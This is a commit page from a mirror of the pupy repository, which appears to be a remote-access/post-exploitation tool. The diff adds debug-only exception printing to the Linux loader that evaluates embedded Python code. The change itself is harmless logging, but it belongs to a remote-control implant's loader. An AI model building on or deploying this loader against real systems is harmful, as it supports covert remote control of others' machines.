mirror of https://github.com/n1nj4sec/pupy.git
Print exception information in debug/linux
This commit is contained in:
parent
3686a59f18
commit
2b3df567f4
|
@ -30,6 +30,7 @@ PyObject *, Py_BuildValue, (char *, ...)
|
|||
PyObject *, PyObject_Call, (PyObject *, PyObject *, PyObject *)
|
||||
void, PySys_WriteStderr, (const char *, ...)
|
||||
PyObject *, PyErr_Occurred, (void)
|
||||
void, PyErr_Fetch, (PyObject **, PyObject **, PyObject **)
|
||||
void, PyErr_Clear, (void)
|
||||
int, PyObject_IsInstance, (PyObject *, PyObject *)
|
||||
|
||||
|
|
|
@ -161,8 +161,11 @@ uint32_t mainThread(int argc, char *argv[], bool so) {
|
|||
if (seq) {
|
||||
PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d);
|
||||
if (!discard) {
|
||||
dprint("discard\n");
|
||||
PyErr_Print();
|
||||
#ifdef DEBUG
|
||||
PyObject *ptype, *pvalue, *ptraceback;
|
||||
PyErr_Fetch(&ptype, &pvalue, &ptraceback);
|
||||
dprint("SEQ %d EXCEPTION: %s\n", i, PyString_AsString(pvalue));
|
||||
#endif
|
||||
rc = 255;
|
||||
}
|
||||
Py_XDECREF(discard);
|
||||
|
|
Loading…
Reference in New Issue